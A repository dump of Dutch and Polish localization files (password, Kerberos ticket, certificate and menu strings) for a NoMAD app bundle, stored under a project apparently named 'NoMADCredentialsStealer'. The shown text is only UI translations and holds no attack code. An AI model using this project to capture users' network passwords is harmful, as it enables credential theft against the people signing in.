NoMADMenuController-PasswordExpiresInDays 83 | 84 | comment 85 | Uitgebreide tekst voor het aantal dagen totdat uw wachtwoord verloopt. 86 | value 87 | Wachtwoord verloopt over: %@ dagen 88 | 89 | PasswordDoesNotExpire 90 | 91 | value 92 | Wachtwoord verloopt niet 93 | comment 94 | Menu onderdeel indien het wachtwoord geen verloopddatum heeft. 95 | 96 | PasswordChangeSuccessful 97 | 98 | value 99 | Wachtwoord succesvol aangepast. Let op: het kan tot een uur duren voordat de wachtwoord verloop tijd wordt bijgewerkt. 100 | comment 101 | melding om gebruiker te bevestigen dat het wachtwoord succesvol is aangepast. 102 | 103 | InvalidPassword 104 | 105 | value 106 | Ongeldig wachtwoord. Probeer het opnieuw. 107 | comment 108 | melding als het wachtwoord niet correct is 109 | 110 | InvalidUsername 111 | 112 | value 113 | Ongeldige gebruikersnaam. Probeer het opnieuw. 114 | comment 115 | melding als de gebruikersnaam niet correct is 116 | 117 | PasswordExpire 118 | 119 | value 120 | Uw wachtwoord is verlopen. Stel nu uw wachtwoord opnieuw in. 121 | comment 122 | melding als het wachtwoord verlopen is 123 | 124 | PasswordAboutToExpire 125 | 126 | value 127 | Wachtwoord verloopt binnenkort! 128 | comment 129 | melding als het wachtwoord binnenkort verloopt. 130 | 131 | PasswordExpiresOn 132 | 133 | value 134 | Uw netwerk wachtwoord verloopt binnenkort op 135 | comment 136 | Uw netwerk wachtwoord verloopt binnenkort op <date> 137 | 138 | PasswordMismatch 139 | 140 | value 141 | Nieuwe wachtwoorden zijn niet gelijk. 142 | comment 143 | foutmelding als wachtwoord niet gelijk zijn ingevoerd. 144 | 145 | NetworkLocalMismatch 146 | 147 | value 148 | Uw netwerk en lokale wachtwoord zijn niet gelijk. Voer het wachtwoord in van uw Mac. 149 | comment 150 | foutmelding als netwerk en lokale wachtwoord niet gelijk zijn. 151 | 152 | ValidCertificate 153 | 154 | value 155 | U heeft al een geldig certificaat. 156 | comment 157 | gebruiker heeft al een geldig certificaat 158 | 159 | Cancel 160 | 161 | value 162 | Annuleer 163 | comment 164 | knop om acties te annuleren 165 | 166 | RequestAnyway 167 | 168 | value 169 | Vraag toch aan 170 | comment 171 | knop om toch aan te vragen 172 | 173 | CertConnectionError 174 | 175 | value 176 | Verbindingsfout. Controleer of SSL certificaten vertrouwd zijn en dat de URL correct is voor uw X509 CA. 177 | comment 178 | foutmelding als Certificaat Authoriteit niet bereikt kan worden. 179 | 180 | CAConfigError 181 | 182 | value 183 | Controleer de instellingen van uw Certificaat Authoriteit. 184 | comment 185 | foutmelding als CA niet bereikt kan worden 186 | 187 | d 188 | 189 | value 190 | d 191 | comment 192 | korte vorm van dagen 193 | 194 | HomeSharepoint 195 | 196 | value 197 | Thuismap op netwerkvolume 198 | comment 199 | Menu onderdeel om de thuismap op het netwerkvolume zoals bekend in het AD gebruikersprofiel te openen. 200 | 201 | LoginWindow-OldPasswordLabel 202 | 203 | value 204 | Oude wachtwoord 205 | comment 206 | Label voor oude wachtwoord 207 | 208 | LoginWindow-PasswordLabel 209 | 210 | value 211 | Wachtwoord 212 | comment 213 | Label voor wachtwoord 214 | 215 | NoMADMenuController-SmartcardSignIn 216 | 217 | value 218 | Smartcard authenticatie 219 | comment 220 | PKINIT smartcard menu authenticatie 221 | 222 | NoMADMenuController-SignInWithSmartcard 223 | 224 | value 225 | Authenticeer met Smartcard. 226 | comment 227 | PKINIT smartcard menu authenticatie tool tip 228 | 229 | NoMADMenuController-NotLoggedIn 230 | 231 | value 232 | Niet aangemeld. 233 | comment 234 | User info voor ticket leeftijd als niet aangemeld 235 | 236 | NoMADMenuController-NotSignedIn 237 | 238 | value 239 | Niet geauthenticeerd 240 | comment 241 | User info als niet geauthenticeerd is (not signed in) 242 | 243 | NoMADMenuController-NoUser 244 | 245 | value 246 | Geen gebruiker 247 | comment 248 | User info als de gebruiker niet gevonden is 249 | 250 | UserInformation-PasswordChanged 251 | 252 | value 253 | Wachtwoord aangepast 254 | comment 255 | Melding als wachtwoord aangepast is. 256 | 257 | UserInformation-PwdChangedSignInAgain 258 | 259 | value 260 | Uw wachtwoord was aangepast. Authenticeer opnieuw in met NoMAD om uw wachtwoord bij te werken. Your password was changed, please re-sign into NoMAD to update your password. 261 | comment 262 | Meldingstekst om opnieuw te authenticeren als wachtwoord aangepast is 263 | 264 | UserInformation-Ignore 265 | 266 | value 267 | Negeer 268 | comment 269 | Wijzig wachtwoord melding negeer knop 270 | 271 | 272 | 273 | -------------------------------------------------------------------------------- /NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Resources/nl.lproj/Localizable.strings: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/r3ggi/NoMADCredentialsStealer/4452e7ae6d9b4065d46eb778a90ad15d7a684468/NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Resources/nl.lproj/Localizable.strings -------------------------------------------------------------------------------- /NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Resources/nl.lproj/LoginWindow.strings: -------------------------------------------------------------------------------- 1 | /* Class = "NSButtonCell"; title = "Sign In"; ObjectID = "6VQ-hA-QCl"; */ 2 | "6VQ-hA-QCl.title" = "Authenticeer"; 3 | 4 | /* Class = "NSButtonCell"; title = "Change Password"; ObjectID = "9um-Qh-jjA"; */ 5 | "9um-Qh-jjA.title" = "Wijzig wachtwoord"; 6 | 7 | /* Class = "NSWindow"; title = "Sign In"; ObjectID = "F0z-JX-Cv5"; */ 8 | "F0z-JX-Cv5.title" = "Authenticeer"; 9 | 10 | /* Class = "NSTextFieldCell"; title = "New Password"; ObjectID = "IM1-92-Doz"; */ 11 | "IM1-92-Doz.title" = "Nieuw wachtwoord"; 12 | 13 | /* Class = "NSTextFieldCell"; title = "User Name"; ObjectID = "NYi-E8-wXM"; */ 14 | "NYi-E8-wXM.title" = "Gebruikersnaam"; 15 | 16 | /* Class = "NSTextFieldCell"; title = "New Password"; ObjectID = "Tdf-0W-Q1c"; */ 17 | "Tdf-0W-Q1c.title" = "Nieuw wachtwoord"; 18 | 19 | /* Class = "NSTextFieldCell"; title = "Password"; ObjectID = "k8Q-BQ-grp"; */ 20 | "k8Q-BQ-grp.title" = "Wachtwoord"; 21 | 22 | -------------------------------------------------------------------------------- /NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Resources/nl.lproj/MainMenu.strings: -------------------------------------------------------------------------------- 1 | /* Class = "NSMenuItem"; ibShadowedToolTip = "Change your network password."; ObjectID = "0IM-ZO-KLA"; */ 2 | "0IM-ZO-KLA.ibShadowedToolTip" = "Wijzig uw netwerk wachtwoord."; 3 | 4 | /* Class = "NSMenuItem"; title = "Change Password"; ObjectID = "0IM-ZO-KLA"; */ 5 | "0IM-ZO-KLA.title" = "Wijzig wachtwoord"; 6 | 7 | /* Class = "NSMenuItem"; ibShadowedToolTip = "Lock your screen."; ObjectID = "3Pf-2O-qR7"; */ 8 | "3Pf-2O-qR7.ibShadowedToolTip" = "Vergrendel uw scherm."; 9 | 10 | /* Class = "NSMenuItem"; title = "Lock Screen"; ObjectID = "3Pf-2O-qR7"; */ 11 | "3Pf-2O-qR7.title" = "Vergrendel scherm"; 12 | 13 | /* Class = "NSMenuItem"; title = "Preferences"; ObjectID = "3yQ-ft-CVW"; */ 14 | "3yQ-ft-CVW.title" = "Voorkeuren"; 15 | 16 | /* Class = "NSMenuItem"; title = "Ticket Info"; ObjectID = "7uv-39-xiX"; */ 17 | "7uv-39-xiX.title" = "Ticket info"; 18 | 19 | /* Class = "NSMenuItem"; ibShadowedToolTip = "Certificate expiration date."; ObjectID = "A9U-v2-LiT"; */ 20 | "A9U-v2-LiT.ibShadowedToolTip" = "Certificaat verloop datum."; 21 | 22 | /* Class = "NSMenuItem"; title = "CertificateDate"; ObjectID = "A9U-v2-LiT"; */ 23 | "A9U-v2-LiT.title" = "Certificaatdatum"; 24 | 25 | /* Class = "NSMenuItem"; ibShadowedToolTip = "Get a certificate."; ObjectID = "AlW-9M-CK2"; */ 26 | "AlW-9M-CK2.ibShadowedToolTip" = "Haal een certificaat"; 27 | 28 | /* Class = "NSMenuItem"; title = "Get Certificate"; ObjectID = "AlW-9M-CK2"; */ 29 | "AlW-9M-CK2.title" = "Haal certificaat"; 30 | 31 | /* Class = "NSMenuItem"; ibShadowedToolTip = "Time until your network password expires."; ObjectID = "CUr-ED-n29"; */ 32 | "CUr-ED-n29.ibShadowedToolTip" = "Tijd totdat uw netwerk wachtwoord verloopt."; 33 | 34 | /* Class = "NSMenuItem"; title = "password expires"; ObjectID = "CUr-ED-n29"; */ 35 | "CUr-ED-n29.title" = "wachtwoord verloopt"; 36 | 37 | /* Class = "NSMenuItem"; ibShadowedToolTip = "Time until your Kerberos ticket expires."; ObjectID = "QYf-mL-9ta"; */ 38 | "QYf-mL-9ta.ibShadowedToolTip" = "Tijd totdat uw Kerberos ticket verloopt."; 39 | 40 | /* Class = "NSMenuItem"; title = "ticket life"; ObjectID = "QYf-mL-9ta"; */ 41 | "QYf-mL-9ta.title" = "ticket levensduur"; 42 | 43 | /* Class = "NSMenuItem"; ibShadowedToolTip = "Sign in with your network account."; ObjectID = "Wa6-S1-lXm"; */ 44 | "Wa6-S1-lXm.ibShadowedToolTip" = "Authenticeer met uw netwerk account."; 45 | 46 | /* Class = "NSMenuItem"; title = "Sign In"; ObjectID = "Wa6-S1-lXm"; */ 47 | "Wa6-S1-lXm.title" = "Authenticeer"; 48 | 49 | /* Class = "NSMenuItem"; ibShadowedToolTip = "Sign in with your network account."; ObjectID = "XL2-b8-IwM"; */ 50 | "XL2-b8-IwM.ibShadowedToolTip" = "Authenticeer met uw network account."; 51 | 52 | /* Class = "NSMenuItem"; title = "Log In 2"; ObjectID = "XL2-b8-IwM"; */ 53 | "XL2-b8-IwM.title" = "Aanmelden 2"; 54 | 55 | /* Class = "NSMenuItem"; title = "Get Software"; ObjectID = "fuo-5h-NuR"; */ 56 | "fuo-5h-NuR.title" = "Haal software"; 57 | 58 | /* Class = "NSMenuItem"; title = "Quit"; ObjectID = "gM7-FQ-f0l"; */ 59 | "gM7-FQ-f0l.title" = "Stop"; 60 | 61 | /* Class = "NSMenuItem"; title = "Hidden Item 1"; ObjectID = "kql-Bl-QJE"; */ 62 | "kql-Bl-QJE.title" = "Verborgen onderdelen 1"; 63 | 64 | /* Class = "NSMenuItem"; title = "Dump Logs"; ObjectID = "pC8-5a-Aec"; */ 65 | "pC8-5a-Aec.title" = "Dump logs"; 66 | 67 | /* Class = "NSMenuItem"; title = "Get Help"; ObjectID = "rbx-v6-fJx"; */ 68 | "rbx-v6-fJx.title" = "Toon hulp"; 69 | 70 | /* Class = "NSMenuItem"; ibShadowedToolTip = "Your network user name."; ObjectID = "uQI-ol-UUw"; */ 71 | "uQI-ol-UUw.ibShadowedToolTip" = "Uw netwerk gebruikers naam."; 72 | 73 | /* Class = "NSMenuItem"; title = "user"; ObjectID = "uQI-ol-UUw"; */ 74 | "uQI-ol-UUw.title" = "gebruiker"; 75 | 76 | /* Class = "NSMenuItem"; ibShadowedToolTip = "Sign out of your network account."; ObjectID = "w1A-iF-wAU"; */ 77 | "w1A-iF-wAU.ibShadowedToolTip" = "Afmelden van uw network account."; 78 | 79 | /* Class = "NSMenuItem"; title = "Sign Out"; ObjectID = "w1A-iF-wAU"; */ 80 | "w1A-iF-wAU.title" = "Afmelden"; 81 | 82 | /* Class = "NSMenuItem"; title = "Software and Help"; ObjectID = "wcV-DA-kNE"; */ 83 | "wcV-DA-kNE.title" = "Software en hulp"; 84 | 85 | -------------------------------------------------------------------------------- /NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Resources/nl.lproj/PasswordChangeWindow.strings: -------------------------------------------------------------------------------- 1 | /* Class = "NSTextFieldCell"; title = "Verify"; ObjectID = "18r-Oq-wpD"; */ 2 | "18r-Oq-wpD.title" = "Controleer"; 3 | 4 | /* Class = "NSWindow"; title = "Password Change"; ObjectID = "F0z-JX-Cv5"; */ 5 | "F0z-JX-Cv5.title" = "Wachtwoord wijziging"; 6 | 7 | /* Class = "NSTextFieldCell"; title = "New Password"; ObjectID = "LMe-nG-XUU"; */ 8 | "LMe-nG-XUU.title" = "Nieuw wachtwoord"; 9 | 10 | /* Class = "NSButtonCell"; title = "Change Password"; ObjectID = "Ww7-K2-Eg9"; */ 11 | "Ww7-K2-Eg9.title" = "Wijzig wachtwoord"; 12 | 13 | /* Class = "NSTextFieldCell"; title = "Current Password"; ObjectID = "hZV-66-IGD"; */ 14 | "hZV-66-IGD.title" = "Huidig wachtwoord"; 15 | 16 | -------------------------------------------------------------------------------- /NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Resources/nl.lproj/PreferencesWindow.strings: -------------------------------------------------------------------------------- 1 | /* Class = "NSButtonCell"; title = "Renew Ticket"; ObjectID = "1RW-ej-qej"; */ 2 | "1RW-ej-qej.title" = "Vernieuw ticket"; 3 | 4 | /* Class = "NSTextFieldCell"; title = "AD Domain"; ObjectID = "3PC-dv-g1C"; */ 5 | "3PC-dv-g1C.title" = "AD domein"; 6 | 7 | /* Class = "NSButtonCell"; title = "Use Keychain"; ObjectID = "7Oh-A9-P92"; */ 8 | "7Oh-A9-P92.title" = "Gebruik sleutelhanger"; 9 | 10 | /* Class = "NSWindow"; title = "Preferences"; ObjectID = "F0z-JX-Cv5"; */ 11 | "F0z-JX-Cv5.title" = "Voorkeuren"; 12 | 13 | /* Class = "NSTextFieldCell"; title = "Template"; ObjectID = "Kes-CY-FXH"; */ 14 | "Kes-CY-FXH.title" = "Sjabloon"; 15 | 16 | /* Class = "NSTextFieldCell"; placeholderString = "optional"; ObjectID = "Q7A-Jc-5cc"; */ 17 | "Q7A-Jc-5cc.placeholderString" = "optioneel"; 18 | 19 | /* Class = "NSTextFieldCell"; title = "Kerberos Realm"; ObjectID = "Ufb-5N-kJA"; */ 20 | "Ufb-5N-kJA.title" = "Kerberos realm"; 21 | 22 | /* Class = "NSTextField"; ibShadowedToolTip = "The name of your AD Domain."; ObjectID = "ZGq-je-gSa"; */ 23 | "ZGq-je-gSa.ibShadowedToolTip" = "De naam van uw AD Domein."; 24 | 25 | /* Class = "NSTextFieldCell"; placeholderString = "company.com"; ObjectID = "dUx-kM-pRM"; */ 26 | "dUx-kM-pRM.placeholderString" = "company.com"; 27 | 28 | /* Class = "NSTextFieldCell"; title = "x509 CA"; ObjectID = "owP-RF-Kec"; */ 29 | "owP-RF-Kec.title" = "x509 CA"; 30 | 31 | /* Class = "NSTextFieldCell"; title = "Seconds"; ObjectID = "qpU-ge-el4"; */ 32 | "qpU-ge-el4.title" = "Seconden"; 33 | 34 | /* Class = "NSTextFieldCell"; placeholderString = "optional"; ObjectID = "saW-aa-BZg"; */ 35 | "saW-aa-BZg.placeholderString" = "optioneel"; 36 | 37 | /* Class = "NSTextFieldCell"; placeholderString = "optional"; ObjectID = "tno-bN-cMD"; */ 38 | "tno-bN-cMD.placeholderString" = "optioneel"; 39 | 40 | /* Class = "NSButtonCell"; title = "Show Home Folder"; ObjectID = "wDv-Uk-9vU"; */ 41 | "wDv-Uk-9vU.title" = "Toon thuismap"; 42 | 43 | -------------------------------------------------------------------------------- /NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Resources/pl.lproj/InfoPlist.strings: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/r3ggi/NoMADCredentialsStealer/4452e7ae6d9b4065d46eb778a90ad15d7a684468/NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Resources/pl.lproj/InfoPlist.strings -------------------------------------------------------------------------------- /NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Resources/pl.lproj/Languages.plist: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Lock Screen 6 | 7 | value 8 | Zablokuj ekran 9 | comment 10 | Menu Item to Lock the Screen 11 | 12 | SignIn 13 | 14 | value 15 | Zaloguj się 16 | comment 17 | Menu item to Sign In 18 | 19 | NoMADMenuController-Connected 20 | 21 | value 22 | 23 | comment 24 | Text in the menu bar to show that NoMAD can find the Domain 25 | 26 | NoMADMenuController-NotConnected 27 | 28 | value 29 | Brak połączenia 30 | comment 31 | Text in the menu bar to show that NoMAD can not find the Domain 32 | 33 | NoMADMenuController-ChangePassword 34 | 35 | value 36 | Zmień hasło 37 | comment 38 | Menu Item to Change Password 39 | 40 | UserName 41 | 42 | value 43 | Nazwa użytkownika 44 | comment 45 | User's full name 46 | 47 | NoMADMenuController-GetSoftware 48 | 49 | comment 50 | Menu item to open software portal. 51 | value 52 | Pobierz oprogramowanie 53 | 54 | NoMADMenuController-GetHelp 55 | 56 | value 57 | Otrzymaj pomoc 58 | comment 59 | Menu item to open up the support options. 60 | 61 | NoMADMenuController-Preferences 62 | 63 | value 64 | Preferencje 65 | comment 66 | Menu item to open Preferences window. 67 | 68 | NoMADMenuController-Quit 69 | 70 | value 71 | Wyjdź 72 | comment 73 | Menu item to quit NoMAD. 74 | 75 | NoMADMenuController-RenewTickets 76 | 77 | comment 78 | Menu item to renew Kerberos tickets 79 | value 80 | Odśwież Tickety 81 | 82 | NoMADMenuController-PasswordExpiresInDays 83 | 84 | comment 85 | Long text for how many days until your password expires 86 | value 87 | Hasło wygaśnie za: %@ days 88 | 89 | PasswordDoesNotExpire 90 | 91 | value 92 | Hasło nie wygasa 93 | comment 94 | menu item for when the password has no expiration date 95 | 96 | PasswordChangeSuccessful 97 | 98 | value 99 | Hasło zostało zmienione. Informacja: Może minąć godzina zanim informacja o przedawnieniu hasła zostanie zaktualizowana. 100 | comment 101 | message to let user know password changed successfully 102 | 103 | InvalidPassword 104 | 105 | value 106 | Złe hasło. Proszę spróbuj ponownie. 107 | comment 108 | error when password is wrong 109 | 110 | InvalidUsername 111 | 112 | value 113 | Zła nazwa użytkownika. Proszę spróbuj ponownie. 114 | comment 115 | error when username is wrong 116 | 117 | PasswordExpire 118 | 119 | value 120 | Twoje hasło wygasło. Proszę zresetuj swoje hasło teraz. 121 | comment 122 | error when password has expired 123 | 124 | PasswordAboutToExpire 125 | 126 | value 127 | Twoje hasło niedługo wygaśnie! 128 | comment 129 | message when password is about to expire 130 | 131 | PasswordExpiresOn 132 | 133 | value 134 | Twoje hasło sieciowe wygaśnie za 135 | comment 136 | Your network password is about to expire on <date> 137 | 138 | PasswordMismatch 139 | 140 | value 141 | Twoje nowe hasło nie zgadza się wpisz je poprawnie. 142 | comment 143 | error when new passwords don't match 144 | 145 | NetworkLocalMismatch 146 | 147 | value 148 | Twoje hasło lokalne i sieciowe jest inne. Wpisz proszę hasło swojego maca. 149 | comment 150 | error when network and local passwords do not match 151 | 152 | ValidCertificate 153 | 154 | value 155 | Posiadasz już ważny Certyfikat. 156 | comment 157 | user already has a valid certificate 158 | 159 | Cancel 160 | 161 | value 162 | Cancel 163 | comment 164 | button for cancelling actions 165 | 166 | RequestAnyway 167 | 168 | value 169 | Zarządaj 170 | comment 171 | button to request anyway 172 | 173 | CertConnectionError 174 | 175 | value 176 | Brak połączenia. Proszę sprawdź czy certificat SSL jest zaufany i URL X509 CA jest poprawny. 177 | comment 178 | message when Certificate Authority can't be reached 179 | 180 | CAConfigError 181 | 182 | value 183 | Proszę sprawdź czy ustawienia Certificate Authority są poprawne. 184 | comment 185 | error when CA can't be found 186 | 187 | d 188 | 189 | value 190 | d 191 | comment 192 | short form of days 193 | 194 | HomeSharepoint 195 | 196 | value 197 | Katalog domowy Sharepoint 198 | comment 199 | Menu item for opening up a user's home sharepoint from their AD profile 200 | 201 | LoginWindow-OldPasswordLabel 202 | 203 | value 204 | Stare hasło 205 | comment 206 | Label for old password 207 | 208 | LoginWindow-PasswordLabel 209 | 210 | value 211 | Hasło 212 | comment 213 | Label for password 214 | 215 | NoMADMenuController-SmartcardSignIn 216 | 217 | value 218 | Zaloguj się: smart kartą 219 | comment 220 | PKINIT smartcard menu sign in 221 | 222 | NoMADMenuController-SignInWithSmartcard 223 | 224 | value 225 | Zaloguj się przy użyciu smart karty. 226 | comment 227 | PKINIT smartcard menu sign in tool tip 228 | 229 | NoMADMenuController-NotLoggedIn 230 | 231 | value 232 | Nie jesteś zalogowany. 233 | comment 234 | User info for ticket life when not signed in 235 | 236 | NoMADMenuController-NotSignedIn 237 | 238 | value 239 | Nie jesteś zalogowany 240 | comment 241 | User info when not signed in 242 | 243 | NoMADMenuController-NoUser 244 | 245 | value 246 | Brak użytkownika 247 | comment 248 | User info when no user is available 249 | 250 | UserInformation-PasswordChanged 251 | 252 | value 253 | Hasło zostało zmienione 254 | comment 255 | Notification title when password changed 256 | 257 | UserInformation-PwdChangedSignInAgain 258 | 259 | value 260 | Twoje hasło zostało zmienione, zaloguj się prosze do NoMADa, aby zaktualizować hasło. 261 | comment 262 | Notification text asking to sign in again 263 | 264 | UserInformation-Ignore 265 | 266 | value 267 | Ignoruj 268 | comment 269 | Password change notification ignore button 270 | 271 | 272 | 273 | -------------------------------------------------------------------------------- /NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Resources/pl.lproj/LoginWindow.strings: -------------------------------------------------------------------------------- 1 | /* Class = "NSButtonCell"; title = "Sign In"; ObjectID = "6VQ-hA-QCl"; */ 2 | "6VQ-hA-QCl.title" = "Zaloguj się"; 3 | 4 | /* Class = "NSButtonCell"; title = "Change Password"; ObjectID = "9um-Qh-jjA"; */ 5 | "9um-Qh-jjA.title" = "Zmień hasło"; 6 | 7 | /* Class = "NSWindow"; title = "Sign In"; ObjectID = "F0z-JX-Cv5"; */ 8 | "F0z-JX-Cv5.title" = "Zaloguj się"; 9 | 10 | /* Class = "NSTextFieldCell"; title = "New Password"; ObjectID = "IM1-92-Doz"; */ 11 | "IM1-92-Doz.title" = "Nowe hasło"; 12 | 13 | /* Class = "NSTextFieldCell"; title = "User Name"; ObjectID = "NYi-E8-wXM"; */ 14 | "NYi-E8-wXM.title" = "Użytkownik"; 15 | 16 | /* Class = "NSTextFieldCell"; title = "New Password"; ObjectID = "Tdf-0W-Q1c"; */ 17 | "Tdf-0W-Q1c.title" = "Nowe hasło"; 18 | 19 | /* Class = "NSTextFieldCell"; title = "Password"; ObjectID = "k8Q-BQ-grp"; */ 20 | "k8Q-BQ-grp.title" = "Hasło"; 21 | 22 | -------------------------------------------------------------------------------- /NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Resources/pl.lproj/MainMenu.strings: -------------------------------------------------------------------------------- 1 | /* Class = "NSMenuItem"; ibShadowedToolTip = "Change your network password."; ObjectID = "0IM-ZO-KLA"; */ 2 | "0IM-ZO-KLA.ibShadowedToolTip" = "Zmień swoje hasło."; 3 | 4 | /* Class = "NSMenuItem"; title = "Change Password"; ObjectID = "0IM-ZO-KLA"; */ 5 | "0IM-ZO-KLA.title" = "Zmień hasło"; 6 | 7 | /* Class = "NSMenuItem"; ibShadowedToolTip = "Lock your screen."; ObjectID = "3Pf-2O-qR7"; */ 8 | "3Pf-2O-qR7.ibShadowedToolTip" = "Zablokuj swój ekran."; 9 | 10 | /* Class = "NSMenuItem"; title = "Lock Screen"; ObjectID = "3Pf-2O-qR7"; */ 11 | "3Pf-2O-qR7.title" = "Zablokuj ekran"; 12 | 13 | /* Class = "NSMenuItem"; title = "Preferences"; ObjectID = "3yQ-ft-CVW"; */ 14 | "3yQ-ft-CVW.title" = "Preferencje"; 15 | 16 | /* Class = "NSMenuItem"; title = "Ticket Info"; ObjectID = "7uv-39-xiX"; */ 17 | "7uv-39-xiX.title" = "Informacje o Tickecie"; 18 | 19 | /* Class = "NSMenuItem"; ibShadowedToolTip = "Certificate expiration date."; ObjectID = "A9U-v2-LiT"; */ 20 | "A9U-v2-LiT.ibShadowedToolTip" = "Data wygaśnięcia certyfikatu."; 21 | 22 | /* Class = "NSMenuItem"; title = "CertificateDate"; ObjectID = "A9U-v2-LiT"; */ 23 | "A9U-v2-LiT.title" = "Data certyfikatu"; 24 | 25 | /* Class = "NSMenuItem"; ibShadowedToolTip = "Get a certificate."; ObjectID = "AlW-9M-CK2"; */ 26 | "AlW-9M-CK2.ibShadowedToolTip" = "Otrzymaj certyfikat."; 27 | 28 | /* Class = "NSMenuItem"; title = "Get Certificate"; ObjectID = "AlW-9M-CK2"; */ 29 | "AlW-9M-CK2.title" = "Otrzymaj certyfikat"; 30 | 31 | /* Class = "NSMenuItem"; ibShadowedToolTip = "Time until your network password expires."; ObjectID = "CUr-ED-n29"; */ 32 | "CUr-ED-n29.ibShadowedToolTip" = "Czas pozostały do wygaśnięcia hasła sieciowego."; 33 | 34 | /* Class = "NSMenuItem"; title = "password expires"; ObjectID = "CUr-ED-n29"; */ 35 | "CUr-ED-n29.title" = "Hasło wygaśnie"; 36 | 37 | /* Class = "NSMenuItem"; ibShadowedToolTip = "Time until your Kerberos ticket expires."; ObjectID = "QYf-mL-9ta"; */ 38 | "QYf-mL-9ta.ibShadowedToolTip" = "Czas pozostały do wygaśnięcia Ticketu Kerberosa."; 39 | 40 | /* Class = "NSMenuItem"; title = "ticket life"; ObjectID = "QYf-mL-9ta"; */ 41 | "QYf-mL-9ta.title" = "Życie ticketu"; 42 | 43 | /* Class = "NSMenuItem"; ibShadowedToolTip = "Sign in with your network account."; ObjectID = "Wa6-S1-lXm"; */ 44 | "Wa6-S1-lXm.ibShadowedToolTip" = "Zaloguj się przy użyciu konta sieciowego."; 45 | 46 | /* Class = "NSMenuItem"; title = "Sign In"; ObjectID = "Wa6-S1-lXm"; */ 47 | "Wa6-S1-lXm.title" = "Zaloguj się"; 48 | 49 | /* Class = "NSMenuItem"; ibShadowedToolTip = "Sign in with your network account."; ObjectID = "XL2-b8-IwM"; */ 50 | "XL2-b8-IwM.ibShadowedToolTip" = "Zaloguj się przy użyciu konta sieciowego."; 51 | 52 | /* Class = "NSMenuItem"; title = "Log In 2"; ObjectID = "XL2-b8-IwM"; */ 53 | "XL2-b8-IwM.title" = "Zaloguj się 2"; 54 | 55 | /* Class = "NSMenuItem"; title = "Get Software"; ObjectID = "fuo-5h-NuR"; */ 56 | "fuo-5h-NuR.title" = "Otrzymaj oprogramowanie"; 57 | 58 | /* Class = "NSMenuItem"; title = "Quit"; ObjectID = "gM7-FQ-f0l"; */ 59 | "gM7-FQ-f0l.title" = "Zakończ"; 60 | 61 | /* Class = "NSMenuItem"; title = "Hidden Item 1"; ObjectID = "kql-Bl-QJE"; */ 62 | "kql-Bl-QJE.title" = "Ukryty element 1"; 63 | 64 | /* Class = "NSMenuItem"; title = "Dump Logs"; ObjectID = "pC8-5a-Aec"; */ 65 | "pC8-5a-Aec.title" = "Pobierz logi"; 66 | 67 | /* Class = "NSMenuItem"; title = "Get Help"; ObjectID = "rbx-v6-fJx"; */ 68 | "rbx-v6-fJx.title" = "Otrzymaj pomoc"; 69 | 70 | /* Class = "NSMenuItem"; ibShadowedToolTip = "Your network user name."; ObjectID = "uQI-ol-UUw"; */ 71 | "uQI-ol-UUw.ibShadowedToolTip" = "Twoja sieciowa nazwa użytkownika."; 72 | 73 | /* Class = "NSMenuItem"; title = "user"; ObjectID = "uQI-ol-UUw"; */ 74 | "uQI-ol-UUw.title" = "Użytkownik"; 75 | 76 | /* Class = "NSMenuItem"; ibShadowedToolTip = "Sign out of your network account."; ObjectID = "w1A-iF-wAU"; */ 77 | "w1A-iF-wAU.ibShadowedToolTip" = "Wyloguj się ze swojego konta sieciowego."; 78 | 79 | /* Class = "NSMenuItem"; title = "Sign Out"; ObjectID = "w1A-iF-wAU"; */ 80 | "w1A-iF-wAU.title" = "Wyloguj się"; 81 | 82 | /* Class = "NSMenuItem"; title = "Software and Help"; ObjectID = "wcV-DA-kNE"; */ 83 | "wcV-DA-kNE.title" = "Oprogramowanie i pomoc"; 84 | 85 | -------------------------------------------------------------------------------- /NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Resources/pl.lproj/PasswordChangeWindow.strings: -------------------------------------------------------------------------------- 1 | /* Class = "NSTextFieldCell"; title = "Verify"; ObjectID = "18r-Oq-wpD"; */ 2 | "18r-Oq-wpD.title" = "Zweryfikuj"; 3 | 4 | /* Class = "NSWindow"; title = "Password Change"; ObjectID = "F0z-JX-Cv5"; */ 5 | "F0z-JX-Cv5.title" = "Zmiana hasła"; 6 | 7 | /* Class = "NSTextFieldCell"; title = "New Password"; ObjectID = "LMe-nG-XUU"; */ 8 | "LMe-nG-XUU.title" = "Nowe hasło"; 9 | 10 | /* Class = "NSButtonCell"; title = "Change Password"; ObjectID = "Ww7-K2-Eg9"; */ 11 | "Ww7-K2-Eg9.title" = "Zmień hasło"; 12 | 13 | /* Class = "NSTextFieldCell"; title = "Current Password"; ObjectID = "hZV-66-IGD"; */ 14 | "hZV-66-IGD.title" = "Aktualne hasło"; 15 | 16 | -------------------------------------------------------------------------------- /NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Resources/pl.lproj/PreferencesWindow.strings: -------------------------------------------------------------------------------- 1 | /* Class = "NSButtonCell"; title = "Renew Ticket"; ObjectID = "1RW-ej-qej"; */ 2 | "1RW-ej-qej.title" = "Odśwież Ticket"; 3 | 4 | /* Class = "NSTextFieldCell"; title = "AD Domain"; ObjectID = "3PC-dv-g1C"; */ 5 | "3PC-dv-g1C.title" = "Domena AD"; 6 | 7 | /* Class = "NSButtonCell"; title = "Use Keychain"; ObjectID = "7Oh-A9-P92"; */ 8 | "7Oh-A9-P92.title" = "Użyj pęku kluczy"; 9 | 10 | /* Class = "NSWindow"; title = "Preferences"; ObjectID = 